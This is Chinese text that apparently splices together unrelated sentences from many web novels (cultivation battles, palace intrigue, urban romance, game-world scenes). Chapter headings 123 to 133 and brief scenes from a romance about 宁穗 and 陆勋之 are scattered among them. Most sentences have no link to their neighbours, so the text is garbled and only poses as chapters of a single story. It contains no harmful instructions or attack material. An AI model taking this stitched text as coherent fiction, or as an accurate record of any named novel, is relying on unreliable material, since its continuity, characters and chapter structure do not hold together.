“你找我什么事?”吃饱喝足之后,王振东向着一旁的赵静问道。 申贵宁与程志威的搏击很精彩,场中的观众看得如痴知醉,竭斯底里地大呼起来。 强援抵达,托尼再次调整战略目的,毕竟都到了这份上,不试一试未免也太亏。 说话的时候,黄静雯还拿出一个蓝色的包包来,端在手中细细地端详着,爱不释手的样子。 刚刚准备起身的甄诚被穆甜甜这一声大喝给吓了一跳,惊恐地看向了穆甜甜。 申贵宁与程志威在中年人走下擂台后来到中心点,相距只有一米左右,两人知道对方是高手,没有冒然出手,而是互相戒备着。 接着,张成元与谢越辉也发出非人类的惨叫,被赵如龙点中哑穴,只能在地上不停地翻滚、抽搐。 这话算是切中要害,过去在部队的时候,季君珍在宁向东心里,就是一个生活上对他关心备至的姐姐,正课时间又对他严格要求的副班长形象,如今两人在地方共事,萨琳娜又变成强大的职场精英,宁向东是又敬又怕。 “这个狗球窦二蛋添啥乱呢”高存光一听蹦起来,去周围村子里搜刮钢钎和铁锤是他亲手搞定的,几天时间几乎把能借到的地方都借了个遍,才有了鹅关村现在人手有工具,人人不闲着的大好局面。 吃过了蛋糕,圆圆嗜好甜食这瘾头总算是消了些,便一直拉着宋乐汐的手,闹着要她陪自己玩。 圣骑士的战斗意志可以用极度强悍和疯狂来形容,面对数十倍与己的敌人,他丝毫不退却,而且不畏惧伤痛,就算身躯被割开也只是略微地咬牙而已。 陆谨南的请求,她总无法推拒,收拾了几件衣服,便在丽景楼下等他来接她。 回到房里,云安的情绪依旧不高,要不是墨止夜的视线太过炙热,她恐怕还要一直这样发呆下去。 他开始了自己的操作,接下来已经轻车熟路了,来到一只竹鼠怪的身边,敲一下脑袋,然后竹鼠怪瑟瑟发抖,直接自杀。 陈霜儿报平安之后费清接过电话,叮嘱胖子一定要保护好陈凝儿的安全。 甚至是说接下来他可能都不会再继续找人融资了。毕竟这一次就唠会本了,这么低三下四的动作刀疤肯做一次就已经很了不起了。 倒是叶家二长老,这次直接被人发现与独眼接头,又通过独眼发现了基地,牵扯出幕后的暗火、夜牙以及未知势力,这次他难逃干系。 “先生!您没事吧?!”侍应生立刻跑上前去,随后突然想到了什么,急切的问道。 他不该轻敌,可那么多巧合促成了这场悲剧,如果…如果不是他要送陆家桓回去,是否能阻止这场悲剧。 看着不知何时摆在众人面前的大锅和灶台,费清犹豫了好一会,最后还是一脸无奈在楚思芸得意的目光下开始熬制粗制的洗髓露。 第123章 嫌弃 随即传来张百川的声音,还是老样子,说话一板一眼的,但明显对陆思思还是有几分客气。 “别客气,也是你的履历优秀。后边提交申请,注意截止时间。” 陆思思声音都透着高兴,“好的,谢谢您,那我就先回去了。” 借着逃遁的时间,聂少微微的撇了撇水碧还有萧翎,她们两个也是艰难无比,面对这样的情况,她们只能和聂少做一样的选择,只是她们本身就没有聂少的那些优势,在身体方面完全不能和聂少向比。 “决不能让她落到任何一方的手里……这件事情应该是你目前做的重点!”高尼茨斩钉截铁的说道。 “我的眼光什么时候错过?就象北京分公司的六部的所有人,就象你、夏雨还有静茹!”刘星说道。 虽然仍然是公孙凡抢先出手,但这一次他可不算是偷袭了,因为他考虑到以马尔斯的身份地位绝对不会主动先出手攻击自己,所以自己索性先发动攻击,当然,这次攻击他也没有使出全力。 “请原谅我冒昧的问一句,你们佣兵团的遭遇,真的是和教廷有关吗?”安公主轻声问道。 竹上言弓着背在前面带路,公孙凡紧随其后,同时放出神念,锁定着这十二个高手的位置。 “一个和你差不多等级的家伙罢了。”八神庵甩下一句,走向一直伺机出手的乌拉洛斯。 容琦微微一笑,“话是不错。可是安定大将军也没有入宫。”最后一刻,就像是决定胜负的最后一击,她和安定大将军谁也不想将自己最后一张底牌先打出来,他们互相在揣摩,在观察,在等待。 “你当我们是傻子?进了酒店你还能出来?你身上没钱?我不信,哥几个,你们信吗?”光头色咪咪的在夏雨的身上来回的看着。 辽东全镇才有兵六万,除了镇守各地城池卫所堡垒的守备军之外,能够调动的机动兵力不足两万,其中多一半已经陷没在抚顺城下,要从别处来援,就意味着减少调兵地的防备兵力,谁肯做这种出力不讨好的事情? 他已经变成雪狐,身上皮毛还是干干净净,一点没乱,后腿一蹬,跳上了安雪凌的肩膀。 顾知新刚才差点没有说,就秦筝还是他公司旗下的艺人呢,他可是秦筝的老板。 虽然眼睛以下都被面纱遮住,仅能看到淡淡的面容,但迷幻色彩骤增。 一路上不是郁闷就是走向郁闷的灵感大王是真的纳闷了,以前那些被献祭给他的孩子见到他不是哭就是闹,可是今天的行市显然是不对头的。 老叟继续搅动手中的鱼叉,直到没有了任何声息,也不见黑汁溅起,方才作罢。 所以,许牧现在越来越厌倦娱乐圈,越来越想回归普通人的生活。 毕方鸟从来不承认自己有缺陷,他的愿望,便是天下人都有病,天下人都有缺陷,天下人都是丑陋的废物。 虽然暂停了对火影忍者的抹黑行为,但不意味着邱麟贵就放弃了收购雪宇动画的打算。 他们最后再看了一眼地球的蓝天白云,目光之中既有对武道界的不舍,也有对修真的期待。 如今李泰已经成了燕王,是燕国的国王。所以魏王禁军这个名字,自然也不能再用了。 第124章 想拖死她 张百川看看两人,明显在闹别扭。 他冲陆勋之摆摆手,“勋之,你来,我正好有件事要跟你说。” 陆勋之恭敬颔首,路过宁穗的时候,深深看了她一眼。 不明白她到底在发什么邪火。 闾丘帅的光罩已经被压缩到身前不到半尺距离,毒燎虐焰的火势和铄石流金的高温让他五内俱焚,猛烈的火毒进入肺腑,喷出的血痕还未落地就被烤干成黑色的粉末。 在场的人都极为重视,因为他们相信再过不久,便会前往那里进行历练。 易轩这才发觉自己左臂一条伤痕皮肉外翻,心中不由得一阵恶寒,胸口绿光闪动,伤口恢复如初,手指一点,震雷剑含怒出击,瞬间洞穿对方胸膛。 五山首座都表示没有意见,邱清明更是转过身去,喝退了不远处围观的众多弟子,告诉他们其余人的比试正常进行,众多弟子见到一时没什么戏看,也就各自散去,去了其他擂台观看自己山门的比试。 心神狂跳,这恐怖的时空之妖到底从什么地方弄来的,如果钟家能掌控时空之妖,那么谁还是他们家对手。 刚刚大学毕业,不在北海市带着,竟然来到了滨城,难道这是有目的的? 以前看到过一句话,说六月份是最像黑店的一个月份。开头就给你一个大大的糖果,然后让你看着房间里到期末考试结束之前,没法开包装的玩具努力复习,简直就跟经历酷刑没啥两样。 剑冢何处都有剑,但是越往上,剑气越足,品质就越好,这几乎是不需要人解释的常识。 那后堂摆设的桌椅俱全,雅洁干净,倪多事坐入桌旁的椅中,紫衣说道:“你在这里稍等片刻,我去取一些饭菜来。”和白衣两人转出堂中,关上房门,踏步远去了。 宋钰看着上面大发神威的男子,眼睛弯弯如月牙,嘴角微微翘起挂着开心笑意,她这一次专门过来看一看秦阳,虽然对方不知道自己来过又如何? “你们两个,最开始学厨艺的时候究竟是为了什么呢?”苏妙讪讪地开口,似乎是为了缓和气氛,她笑着问。 他兴奋的满脸红光,闭着双眼坐在地上,飘飘‘欲’仙的爽了好久,才逐渐清醒过来。 他姥姥的,难道是刚才我们一着急,把道给走岔了,要不怎么会死活到不了边呢? 炮天明试着塞进口中却被提示:食用后在凌云窟内不能消化……这意思代表死了就暴绝不客气,包括冰心决估计也是同一产品。要用这宝贝还是要活着出去才行。 “不会迷路的,就算迷了路,有我在你怕什么!”回味一脸不高兴地道。 紧接着暴雨开始落下,瓢泼大雨之中,开始有些鱼儿飞出了水面,急速在空气中滑翔,部分落到了我们的甲板上,更多的则是仓惶拍打侧鳍,发出奇怪的啪啪声。 极致的愤怒与杀意,充斥着他的心,令他恨不得立刻拔刀,将南华公子碎尸万段。 这一瞬,旁人没有察觉,但阿玄却是知道,对方知道自己,还认出来了。 “喂,哥们守了一夜辛苦了,吃点东西填填肚子吧。”说着,他手里的东西用力一挥,就飞上了屋顶,而他也径直向前跑去,开始晨练。 第125章 我哥才不会听你的 陆思思的声音还继续在洗手间里回荡,“郑肖这个败类,陆家的女人,他都想要,睡不到我,就退而求其次,要去找你咯。我只不过是给他指了指你的房间,他就像公狗一样,闻着味儿就去了,哈哈哈!” 他就那样坐在那里,肩膀上的四条手臂之一搭在宝座的一侧,支着下巴,眼睛闭着,似在养神。 “他可没说不准这么干。况且,这么做是为了安全。”泰勒本不想解释,只是怕祖遥问东问西,所以才事先说清楚。 内屋里点着两盏蜡烛,这是精品的蜂蜡,但是未有刻画或是雕饰,所以价格不是特别的昂贵。蜡烛的火光闪耀着,正映着几陆异常严肃的脸,虽然没有说什么话,但是房间中的压抑谁都感觉出来了。 李二一脚踹翻了他趴着的床,正好屁股着地,最后实在是忍不住疼了,干脆演到现在就行了,若是穿帮了那就大大的不妙。 而剩下的事,只有李珏能做,我手里加上第二波过来的伤亡,可用的人不过一百五十万,我还需要他们打出旗帜,让巨灵世界的人知道是他们名正言顺的王子过来了。 天空一片湛蓝,和同样湛蓝的大海共成一色,是只要远远的看着就会觉得心旷神怡的美丽景色,就像是所有的平静的午后一样,这一天,大海上,依然美丽无比。 在兰登处理事务的这半个月的时间,他又回到了之前的“试药时期”,兰登借着处理政务的间隙弄出来一大堆各种道具,几乎全部都用在了他的身上。 当秦浩说完了那句话,刚刚回复过的人榜杀手们差点儿没吓死,而地榜杀手更是直接吓尿,而夜枭手中刚刚拿到手下帮他取来的机票,当看到秦浩的回复,对着屏幕喊了一声卧槽,然后干脆利落的撕掉了机票。 就当刚战斗完,祖遥身上的白光消失,人被抽魂似的,沾水的棉条一般无力的倒了下去。 从种种迹象看,令自己陷入生死危机的血神教血子西斗,似乎很是忌惮救下自己的青年男子,若不然凭这样的姿态,二者间还不立即打起来。 闻一鸣花两天时间跟装修公司沟通剩下细节,黑虎团队准备物质,休整两天继续寻宝之旅。 “汪大哥、杨大哥、沈大哥,你们三个也要听好,大家既然都是朋友,是一家人,就不能歧视她们,她能不是奴隶,人人平等,懂吗?”欧阳颖儿望着他们三个男的,说道。 “你说我们的宝宝为什么会那么聪明,他才两岁半,懂得的知识竟然丝毫不逊色于专家学者。他还说我们就是他的爸爸妈妈,让我们误认为这是一个谎言,可事实上他的话竟然是真的。”欧阳颖儿由衷的笑了起来。 看着李教授痛苦样子,真没有发现任何突变能引发老教授如此焦虑。从心理因素改变生理反应需要很深度刺激才能做到,到底刺激源是什么? 但是在敌人反应过来,用特殊的护盾产生器,在他们和玉白等人之间建立起一层能量盾屏障之后,众人的攻击也就没有那么有用了。 罐子里的独眼龙斗志高昂,猛地被打断,有点欲求不满的样子,吱吱吱控诉着。 第126章 没有人会一直在原地等你 陆勋之倏地皱起眉头,“您别乱说,我俩好着呢。” “呵,真当我老眼昏花?”张百川冷哼一声。 宁穗对陆勋之的抗拒,明晃晃摆在台面上。 好在刻录虚影不需要花费多长的时间,只是会带来比较巨大的灵力消耗,而这恰恰是此刻风尘等人最不需要担忧的事情,否则,白莫攸的恢复,想要达成,还真不是那么容易的事。 三层木屋形成的漏口中间,是一个特殊的花圃,里面一株寒梅,光秃秃的,寒冬未至,梅花未开。 而那个紫铜色的鼎炉,从里面火焰聚集的程度来看,是个品质不错的鼎炉。 “哼,我主人的名讳,像你这种蝼蚁,知道的资格都没有,他早已离开这个大陆,挣脱了所有的束缚,成就主宰之位,离开了这些低等的宇宙。”他不屑的看着紫凌天,语气高傲,高高在上,好似他就是他主人样。 现在厉黑白和厉无常,以及古有缺去寻找相关召唤魔灵的道具了。既然是召唤了魔灵的,那么,只要是在英灵墓地内,那就肯定会留下蛛丝马迹,这个事情很紧急,他们就算挖地三尺也要把这个施法道具给找出来。 他只感觉在这位少主面前,很是压抑,他给人的感觉实在是太有压迫感了。 所以,暂时只能凭借自己在武艺上的造诣,最大限度的干扰阴阳狼。 唐夜听到沙耶的话,微微皱眉。确实,他感受到,绝死领域内的死亡力量,又好像慢慢恢复回来了。 部队打着白底红心的军旗,正是三大军团之一——丹心军团的部队。 紫凌天闪身到他身前,一脚踏下,轰的一声,银甲少年又是一口大血喷出。 这一过程耗费了陆宇大半天,完成之时,弑魂弓释放出恐怖的震慑力,让漪梦都为之动容。 熙隐一得到消息,便立刻赶来这里,见寒辰和洛夭都平安的出来,那颗提了一百多年的心终于可以放下。 而庄义并没有立刻回复马六,只是沉默的盯着落水点看,他现在的情绪也很是激动,玄跃冰鱼带给他的刺激,后劲着实有些大。 宋岳在听到李子曰说到“好好学习天天向上”的时候莫名觉得熟悉的很,忍不住喊着转身的李子曰。 这一刀,宛若一条银河,从不知处而来,分割天地,一切存在,在其面前,都会被斩成两半。 它嘶吼一声,便是借着藤蔓,急速往上爬,向着林沐晨撕咬而去。 面带威武红脸面具的龙阳一句不言,豁然抽刀,一柄拄地上,一柄扛肩上。 然而这一切,都跟罗伊天籁有着莫大的关系,因为,要不是因为她救了自己,罗伊天河就不会被杀了。 言出法随这个技能永远是那么震撼人心,随着叶枫念出指定的技能后,王城上面瞬间被雷云给笼罩。 龙真希望易武阳和丙天落进一步死拼,最好是拼死两大武王尊,到时候趁虚而入就能将他们铲除。 胜利?你父母还真有点水平,取个名字都是这么澎湃的,难怪你当时拿着枪就冲了进来呢。 “别,我们赶紧跑吧,你打不赢的”,柳清清轻声嗫嚅道,正好到李长空耳朵边高度的她,吐气如兰,吹得他的耳朵直痒痒,让他有些心猿意马。 第127章 幼稚 宁穗被陆勋之的问题,问得回了神。 她脸色淡淡的,语气没什么起伏,简短地回答,“想。” 陆勋之的视线落在她的侧脸上,目光柔和,“为什么?” 吴杰真的信守承诺在报纸上公开道歉,结果是被隆鑫开除,不但要还回那五百万,更是被隆鑫的老总找人把他揍了一顿。 “终于出来了,万剑宗,今天就是你们覆灭的日子!”多方强者集结的前排,几个首领傲然沉喝。 旅途仍然是千辛万苦,张骞对于这些早已有所准备,他不担心能否顺利到达乌孙,他所担心的是能否顺利说服乌孙君王与大汉结盟。 医生将这一系列专业术语滔滔不绝说出口时,我明显看到坐在我对面的猴哥的表情渐渐僵硬住,就像冬天被冻结的冰条,很冷很慎人。 霍光表情严肃,他十分清楚,虽然自己手握武帝遗诏,刘弗陵也已登上帝位,但是并不意味着天下太平,明里暗里,盯着他们的眼睛肯定不少。 此时在屋里聊天的君墨尘跟蓝星儿也一并出來了,包括王妈在内都被感动的一塌糊涂。 虽说肖俊峰把自己打伤诬赖是蓝一峰所为的这种做法有些强人所难,聪明人一眼就能看出这是不可能的事情,但现在他是皇上,底下的人自是不愿出头露面,为了保住自己的饭碗都是睁一只眼闭一只眼的。 “那就行了,我也和你说个底,其实这机会也不是每年都能有的,只是刚晋升的紫衣弟子才能得到一次机会,之后还想继续就的通过圣灵石来交易机会。”麒麟点头,缓缓说道。 且真正让人疯狂的战利品是那正在盛开的黑血灵莲,这等食用类的异宝可遇而不可求,可以大幅度增幅传承者肉体品质。 耳畔飘来阮止水悠然自得的声音,清雅‘玉’润,又带着少年特有的低哑磁质,在寂静的夜里,格外悦耳动听。 二话不说,林风一兜手,便将这二十多株血灵参全部收进了仙灵戒中。 当李萧毅的身形停留在最高点的时候,他看到,这一刻他脚下至少有数百名终结者瞄准了他,更远处的终结者也都将其落地点锁定,随时准备攻击!这一刻……他似乎已经陷入了困境? 甬道附近驻扎着两万负责守卫的秦军,围困巨鹿几个月以来,除了张耳曾经强制陈馀派出五千赵军进行过一次不疼不痒的进攻外,再没有任何一支诸侯军队向秦军发起过进攻。 “正是老夫。┏┓”钱通冷哼一声说道,他的心中却在疑‘惑’,为什么开口的不是那名九阶武者,反而是一名六阶武者。 在厂子门口的荒地上兜了一圈。扬起一阵尘土。郑西源才心满意足的停下车子。一旁的强尼早已恭候多时。 紫阳找准时机,又从哪光芒的缝隙中飘然而过,看起来动作是那么的洒脱。 轻微的脚步声,满脸都是杀气的瞎猫出现在了杨青山的面前,此时他的眼睛里很古怪的全是白色,仿佛真的瞎了一样,冰冷带着杀意的盯着杨青山。 而要抽取灵力,也不是随便什么地方都可以抽取的。在灵界的各大门派历来就有洞天福地的说法。每个大门派都有一两个这样的地方作为门派的根基。这些地方,往往灵力相当密集。更加容易被修真者吸取。 第128章 他的视线都落在宁穗身上 宁穗凑过去看,这是一本红心社周年纪念册,里面有很多几年前的旧照片,其中就有宁穗的。 这张照片她都没见过,大概是哪个同学当时抓拍的。 她正在给一个孤儿院的小姑娘梳辫子,阳光下,宁穗笑得特别甜。 很有感染力。 可是别说这枪像一条银龙,就是真的银龙,凭大鹏的修为也不害怕!所以大鹏淡淡的一笑,身影瞬间在原地消失,下一刻竟然出现在宋明生的后面。 提及到海柔又勾起了云娜伤心的回忆。当初得知海柔出事了以后让她好是伤心了一阵呢。后来时间久了渐渐的淡忘了,也没有那么伤心了。但时常的云娜还是会想起海柔的,每当象棋海柔的时候云娜都会伤心上一阵子。 “你这孩子!”梅芳感觉到手腕的疼痛,忍不住用力打一下曹森的屁股。 经过万水千山,年轻人在历经了艰难的九九八十一难后,终究凭着坚持不懈的精神,来到了目的的——阳光学院。 他想起前世一句流行的口号:拳头才是硬道理,这话还真是放之四海皆准的真理。 钟彤彤颇为吃惊地望了胡强一眼,似乎她还没有料想到有这种情况的发生,等她思考了一下,微微地点了点头道。 一直到了家‘门’口,王宇掏出了家里的钥匙的时候,呈苏和维维才送了一口气。看来现在这是到了目的地了。 不过很显然,徐福千里迢迢的跑到神王的神殿去肯定不是去寻找某一位主神遗留下的东西,神王殿之中肯定有什么值得他在意的东西。究竟是什么让徐福都那么在意这让雪月痕非常的好奇。 几年一起过来的哥们就是相互了解,王宇还真是猜对了。陈威是被艾达牵肠挂肚了。 “九坤降魔阵应该用你们的生命去保护,你们,没有尽力!”守护者有些怒意。 听到这句话后,李雅婷知道,不得不说啦,于是从裤兜里拿出来手机看了一眼,距离下班儿没有多长时间了,因为马上就是中午了。 秦秀骑着巨狼战骑缓步来到了城门口,打算前往城外的军营汇合。 “师尊,别生气,秘境中有一样好东西,您看到后定会高兴的……”秦淮看着面色难堪的师尊,迟疑道。 四爷翻他的裤兜:“三块钱的零钱,不够两人的饭钱。”身体年轻是好事,但弊端就是不得自由。不管人身自由还是经济自由。 无数人对着高空指指点点,他们已经在期待帝国信使传来的好消息了。 莫云现在正在考虑形势,他目前来说,有非忆的帮助,他在元灵山几乎是无敌的存在。 但是当他交任务的时候,将那朵凡心花放上去,确认任务提交完毕后,一个隐元到账且不说,他马上离开隐士大殿,却发现本来应该在自己手旁的那个装有凡心花的木匣,已经消失不见了。 之前在外面见孩子们,四爷和桐桐只说是累了,一晚上没睡,都在赶路。气色当然就不好了。谁也没多想,饶是他们再怎么想,也不会想出一块石头会有那么大的威力。 他刚摇了头扭脸想回头自家妈的问题,谁知道一扭脸看见走廊那头走过来了一熟悉的身影,不是林雨桐能是谁。 它刚死之际,江昀看到了一团白光升起。但大部分都逸散了,只有大约五分之一的部分,落入到了他的身体里。 第129章 给她一笔钱,你们离婚算了 客厅里落针可闻。 宋姜的哭声都跟着哽住。 话音未落,罗恩便发现,阿加莎居然用她那一身金属衣服把自己包了起来。 “神血、虎牙!”闻言,白虎的面孔忍不住扭曲的一下,一黑到底。神兽的精血是何其宝贵?不过在想起这是他们一族的镇族神通,就瞬间释然了。 紫缘又吼了一声,刺耳的声音几乎要穿破五盒的耳膜。五盒身子一抖,原地跳起,身边的包互相撞击着,“哐当”一声,五盒跳了过来,包却挂住了,他用力一把,紫缘叫唤了一声。 这也同样意味着,身为红月分会会长,这个拉莫斯论地位仅次于现在武师公会的会长,而在红狐帝国,他在武师公会的地位乃是独一无二。 说到这里,就很为现在某些相信金融高息吸储的投资者感到惋惜。看到了吧?伯尼尔也只不过年利率15%都不到,他已经是庞氏骗局了。而那些居然还相信那些远超15%的收益率?只能说是无知者无畏。 正在夏敏这么想着的时候,马勇俊,刘根民应承一声,转身就要离开。 荆建一听,知道塞丽娜不是没有道理。然而在内心中,曾经在蓝星网上吃了大亏,难道再被华尔街讹诈一次吗? “这些事情日后在说吧,现在先不要着急。”杨逍笑了笑,他的身躯消失在原地,往祖龙戒中走去。 看到所有人都闭上了眼睛,犁胖子和李之白也是一起飞掠起来,跟着张天养一块退到背后的甬道之中。 “我不知道……值不值得……呵呵,你明明都不是她,我却想……要是她遇害的时候,我像现在这样陪在她的身边就好了……”彭城竟笑了,说了这句只有简宁听得懂的话,他嘴角的血已经流了出来,滴落在简宁的脸上。 江辰看到后,想到之前自己还没有抽过奖,就顺手点了“确认”。 四人踏上返回的路程,幸亏这里离金乌宗并不远,若是走路大约三天便能走到。 李乘舟想要在江湖上发展势力,所以需要一些人帮助自己和江湖门派建立联系。 伊康瑟硬朗面容上的神情并不好看,七号公寓有一位极光会线人的事情,他作为执事是一清二楚,但是这几年来队员回馈的报告都是线人情绪稳定,上周甚至刚刚检查完毕,怎么突然间就出事了? 此时他已经坐了下来,李乘舟随意拿起桌上的茶,开盖轻喝了一口。 矿床的位置距离地面不算太深,只是山地的面积太大,之前一直没有挖对位置。 月榕也不着急,悠闲地躺在床上,她双眸紧闭,呼吸平稳,似乎像是睡过去了。 虽然福利院有困难,但是宁棠不想将她和纪湛的关系弄得混乱,而且她和纪湛本来就是两个世界里的人。 “你……”乌洛琉斯的话没说完,就戛然而止,祂并不是忘记了要问什么,只是忽然间觉得没有必要多说。 结果就是跑到一半,后继无力身体没了力气,偏偏又不愿意放弃。 第130章 陆勋之帮她找到配型 栗勤被猛地踹了一脚,但因为他经常运动,就着力道,滚了一圈。 才不至于受伤,但身上蹭了很多土。 宁穗急了,搡了一把陆勋之,“你有病啊!” 无缘无故打人。 宁穗刚要上前去看看栗勤怎么样,腰上一沉,被陆勋之压在怀里禁锢住。 老妖虚影再次被灭,只见无数道被撕裂的邪恶之力再次凝聚成形,只不过,此时的老妖虚影,已然比最初要更加模糊几分,很显然,被玄凤灭杀两次之后,它的这道魔息化身,已然虚弱了很多。 自古帝王多信神怪,秦皇汉武晚年求仙不已,一再受骗也不改初衷,唐太宗误服金丹,落得英年早逝。当今藩王公侯,无不蓄养僧道、欲求长生。朱元璋这一番议论新奇锋利,直中神怪之说的要害,众人听了无不惊异。 同时疾步上前,一把拽住苏宝宝背后的一个黑衣人把他给甩到一旁。 张欣婷傻笑了一下说,他们说你被学校开除不敢来了,要是来了就联合起来把你揍的不敢来。 难道,一会儿还有什么节目吗?杜飞这个时候,则更是难以自拔了。他的目光,一直盯着宋青瓷的背影,不由的大口大口地吞咽着唾沫,从他现在的角度看宋青瓷的身材,简直就是太完美了一些。 “有事吗?”杜飞一挑眉,没有刻意的讨好也没有刻意的套近乎,语气很平静,也很好奇。 朱微木呆呆坐着,宁王妃一旁絮絮叨叨,她也闻如未闻,只觉亲友虽多,并无可托之人,天下之大,竟无容身之地。自己身为公主,却如浮萍飘蓬,顺风逐流,无所依傍。 “这是个误会。”杜飞无奈的耸了耸肩膀,把情况和天狐说了一遍。越是如此,天狐就越是感伤了希冀。杜飞心里也暗暗发誓,即便只是为了井田桃泽,他也要尽量想办法,帮助天狐摆脱天忍石的阴影。 只有淡淡的赤红色天火铠甲附着在韩风身上,背后张开淡淡火红色的天羽。 林东与泰雄的宝棍相碰,巨大的声音响起,两人各退了一步,这一击两人都只是试探试地攻击,都没有用出自己全部的力量。 如此情况,苏木丝毫没有掉以轻心,目露谨慎,缓步慢走,当踏入最后一层台阶时,不由回头看着长长的楼梯口松了一口气。 ……屋内剩余的怪医里的十二人和丫鬟们都焦急的等待着夜清绝的决定。 苏若瑶离开了郡王府。不久后,程延仲突发病,谁都不知道是什么病,看他的样子像是不久于人世,很激动,很痛苦。 同样另外一边,华尔街财贸中心大楼,这是一栋110层高的摩天大楼,摩天大楼的顶端,是全景式楼顶,覆盖着一层半弧形亚克力钢化玻璃,能够抵御甚至火箭炮的攻击。 别看她们都是凝神巅峰,但两人修炼的功法,一个在天一个在地,压根就没有可比性。 且看他内在吧。这会儿身着西装的他就要上前去和苏若瑶碰个面了。 说真的,如果不是他头上的青筋还没褪下去,李强估计还能搭个茬什么的。 “不、、、、、、”锦蓝的第一个字刚从牙齿里蹦出来,就感受到了夜清绝浑身上下散发出来的冷气,冷到让他直接就噤了声。 第131章 是有那么一点点爱的吧? 陆勋之说完,宁穗没有回应,她静静靠在门板上。 虽然看不到,但是她知道陆勋之并没有走。 门外,陆勋之确实没有走。 他手掌抚上门板,低着头,隔着门板,仿佛能看到门后的宁穗。 赫丽丝望着孙悟空慢慢的收起了微笑,然后将手中的能量球散去。 杨爱国的脸已经沉了下来,旁边两位客服对视了一眼,心中的八卦之火已经熊熊燃起。 言外之意很明显了,在考场上,那么严格的考场纪律都没拦着老子睡觉——你算老几? “关门放狗,布阵,扁他!”说完一溜烟朝飞行殿边缘飞跃而去。 “上苍来的人?难道就是通过那个传送阵而来?”唐僧凝眸,眼中露出杀意。 刚刚还好好的云十三,突然之间换了一个表情,仿佛见了鬼一样。 这一路紧赶慢走,也顾不上什么机关了,转了两个弯,就看到面前一片豁然开朗。 “凌兄?你怎么了?”铁铮已经看到面色苍白的凌冲,大吃一惊。 天瓜离去,愚啸天万分能舍,可愚啸天也知道,这天瓜乃是成长之中的雏鹰,留在天涯大陆,已经没有可磨练天瓜成长的东西,这有神域的那些天才们,才会促进天瓜进步。 当年甘泓与齐翊、田梧淳、那满阳曾经相约百战界消散之日共入星空游历,可数十年后的今天,四人中仅仅还剩甘泓一人独活,那种寂落孤单,唯有经历过的人才能体会。 也幸亏有尼尔兄弟二人的一手光系辅助技能,一夜都是有惊无险,还有几次,龙天都清楚感觉到了庞大异兽路过时沉重脚步下震抖的地面。 再说,哪怕皇帝喜欢你,真一封传位遗诏让你做皇帝,你没有实力,没有人支持,只靠一纸遗诏,就想当皇帝?别做梦了,真当其他的虎视眈眈的阿哥们都是纸糊的?哪怕真让你做了皇帝,恐怕也是个傀儡皇帝吧。 这股后怕的劲儿让陶君兰直接出了一身冷汗,呼吸也半晌平缓不下来。 这几天每天都下雨,摸哪里都潮乎乎的,很不舒服,无聊的时候就打开电脑解闷。 其余黑雾也纷纷飘飞上去,全部攀附进直升机,他们的身体分解成一丝丝黑雾,混杂在一起,极大的节约空间,就这么环绕充盈在机舱内。 田恬在李氏的房门前整理了一下自己的衣衫和头发,随即敲响了房门,李氏的声音便在屋内响了起来。 我现在就像又回到了盲人的时期,不过盲人也不是不能分辨周围环境的,通过嗅觉和听觉,也可以观察周围的变化。 慌乱中龙天急忙呼喊道。搜寻呼喊持续了半分钟,犹如石沉大海,没有任何回应,而龙天的心,也是随着灵尘的无踪迹,越加下沉。 要知道,就算是拘级单纹,一般的伤势,只要不是要害受袭,或者断手断脚,也就是一个把时辰就能愈合恢复。 门外的杜美珊露出得意的奸笑,果然和她想的一样,丁雅兰弄丢戒指真的是有隐情。 “石轩?”宁潇轻轻嘀咕了一声,他刚才感受到了石轩那略微不善的目光。 顾照光道,臣属无外交,他不能做出任何保证,但他可以向兵部奏请实际情况,由皇帝决定。 第132章 陆老爷子决定帮宁穗逃跑 “来了,坐。”陆老爷子摆摆手。 宁穗这才走过去坐下,站的腿肚子有点酸,宁穗微微动了动脚。 脑残粉嗡嗡的乱飞,弄的那边品牌频繁的和安茜这边接触,想要让安茜去那边捞钱。 可以说如果没有那一颗颗星球上祖辈们留下的尸山血海令后人引以为戒,双方的边境摩擦不可能像现在这般稀少。 闻离风风火火地举办了吃瓜大赛,还专门找人包了粽子挂在台边四周营造氛围。 “以后我嫁人就要嫁给华国人,因为华国的好吃的实在是太多了!”林允同样附和。 看着元素方碑上头冒出岩元素的光芒,刻晴一下子就警惕了起来。 一道有力的臂膀从脖颈和长发之间穿过,扣住她的后脑勺,微微使力把她扶了起来。 没错,就是险境,甚至那里可以说是绝境。据那位老冒险家所说,那是一处地狱般的险境,烈焰烧灼着他的皮肤,雷鸣仿佛要将鼓膜击穿,狂风肆意撕扯著他的灵魂。 如果自己的钱真的没变化,这些人知道自己的名字也就是必然的了。 场面再次变得混乱,大家因为着急逃离这里,险些从山梯上滚下去。 最高的高度是带着叶秋突破了云层,低一些的低度是几乎贴近地面飞行。 他回眸时,看到自家主子的唇角正在温和的向上扬,一抹之前从来都不会出现在沈剑心唇边的表情出现,令白泽惊得险些摔倒在地。 “韩大人,既然您是潞州牧,可为何会在成阳城现身?”聂红衣不解的说道。 爱丽丝看向陈凯,眼中充满了异样的神色,其中甚至还夹杂着一丝说不清道不明的情绪。 但是,不知道为何,在这一刻,从船头上眺望雷樱树的时候,八重神子忽然感到心中无限的感慨。 这时旁边传来了吉他声,一个20岁左右的男孩在路边弹着“别知己”,那男孩全神投入,完全沉醉在忧伤的旋律中,琴声直击灵魂,把听者的思绪带入了风飞落叶的深秋,空中弥漫着难舍难分的离愁和对甜蜜往事的追忆。 正常情况下,不要说一个男人不行。不然,他会分分钟教会你怎么做人的道理。 周奇树看到老爷子是真的暴怒了,连忙把事情的经过,仔仔细细一说。 程橙领了命令,传递至底下的个部将领处,大军开始缓慢行动起来,与此同时,例行在天空巡视的公乘风已经发现了他们的行踪,不过因为已经到了晚上,而且云层很厚,基本看不出来他们的战术安排。 那是他还没有被异化的部分,自然无法像异兽那样化作黑气消亡。 强大的真气在客栈内肆虐,刘荆不由得眉头紧皱,自己半步神魄的实力居然被这个黑衣人挡住了。 她的安危不要紧,她不怕被宠妻无度的皇上砍掉脑袋,可是……可是她不能失去春生。她希望春生一切都好。 一番激战下来,林建风就知道今日是没有机会取得魔陨的项上人头了,他再次击退了那柄飞剑,然后手一挥,顿时一道道灵籍这些熟识倒是正常,毕竟他们那边整体都比乱魔域强,可现在不少,倒是让他不好接话了。 第133章 吃醋的妻子,在查岗 “没烫着吧?”乔镇赶紧上前,递给宁穗纸,让她擦,又处理了杯子。 宁穗勉强扯唇,“没事,没拿稳。” 郑潇月陷入震惊之中,难以置信刚才霍依兰的那些话是自己亲耳听到的。为什么她觉得霍依兰那么像是在她炫耀,那么像是在宣示主权?她没有幻听吗? 